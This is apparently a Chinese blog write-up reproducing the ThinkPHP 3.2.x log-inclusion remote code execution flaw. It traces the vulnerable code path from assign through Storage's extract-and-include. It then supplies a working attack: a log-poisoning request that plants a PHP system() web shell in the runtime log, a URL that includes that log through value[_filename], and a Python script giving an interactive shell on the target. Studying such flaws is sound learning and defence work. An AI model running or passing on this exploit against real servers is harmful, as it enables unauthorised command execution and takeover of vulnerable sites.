一,漏洞描述
二,漏洞发现
三、漏洞利用
本人是一个小白,目前大三计算机专业,出于对网络安全的热爱自学了好久。在学习网络安全的路上简直坎坷,有时候迷茫有时候又找到了方向,全凭自己摸索。啊,真希望有个老师傅能带带我。这也是我第一次复现漏洞,还不会thinkphp框架,就先看视频自学了几天,才把这个漏洞琢磨透。。。结合网上其他文章修改总结了一下。要是有错误或者不合理的地方,也请多多担待。
跟进ThinkPHP/Library/Think/View.class.php,可控变量进入assign方法赋值给$this→tVar变量。
assign函数的用处就完事了,现在我们回到Application/Home/Controller/IndexController.class.php
跟进display函数
跟进ThinkPHP/Library/Think/View.class.php,display方法开始解析并获取模板文件内容,如果在display里面不传index参数,thinkphp也会更具类名自动加index.html,前提是模板名和类名相同。
进入fetch方法,传入的参数为空时会根据配置获取默认的模板文件位置 ./Application/Home/View/Index/index.html,之后系统配置的默认模板引擎为think,所以会进入else分支,获取$this→tVar变量值赋值给$params,$this→tVar是assign这个函数刚刚赋值的,就是传入的可控制的变量,之后进入Hook类的listen方法
进入listen方法,跟进ThinkPHP/Library/Think/Hook.class.php,发现listen直接将参数给到了exec函数做处理,包括能控制的变量也进去了,进入exec方法
进入exec方法中,处理后调用Behavior\ParseTemplateBehavior类中的run方法处理$params这个带有日志文件路径的值
进入run方法,跟进ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php,进入else分支调用Think\Template类中的fetch方法对变量$_data进行处理,$_data['var']就是刚开始assign函数处理的$this->tVar
跟进ThinkPHP/Library/Think/Template.class.php,获取缓存文件路径后进入Storage的load方法中
跟进到ThinkPHP/Library/Think/Storage/Driver/File.class.php的load方法中,$_filename为之前获取的缓存文件路径,$vars则为之前带有_filename=日志文件路径的数组,$vars不为空则使用extract方法的EXTR_OVERWRITE默认描述对变量值进行覆盖,之后include该日志文件路径,导致文件包含,触发ThinkPHP 3.x Log RCE漏洞
访问url:http://192.168.43.116/thinkphp_3.2.3_full/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/common/22_04_06.log。展示phpinfo信息
exp:
import requests
import optparse
import re
def cmd(url):
try:
while 1:
cmdlist=input("#")
if cmdlist!='q':
url_add=url+f"?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/common/22_04_09.log&cmd={cmdlist}"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3877.400 QQBrowser/10.8.4507.400",
}
content=requests.get(url=url_add,headers=headers)
contents=content.text
obj=re.compile(r"m=-->(?P<cmds>.*?)INFO:",re.S)
result=obj.search(contents)
print(result.group("cmds")) else:
break
except:
print("wrong!!!")if __name__=="__main__":
parser = optparse.OptionParser()
parser.usage = "ThinkPHP3.2.x RCE利用.py -u url"
parser.add_option("-u", "--url", help="url to test ThinkPHP3.2.x RCE", action="store", type="string", metavar="URL", dest="url")
(options, args) = parser.parse_args()
url = options.url
if url:
cmd(url)
else:
url=input("请输入url:")
cmd(url)
前提是将url?m=--><?php system($_GET[''cmd]);?>执行后写入日志文件中,注意日志文件名对应的时间。
发表评论 取消回复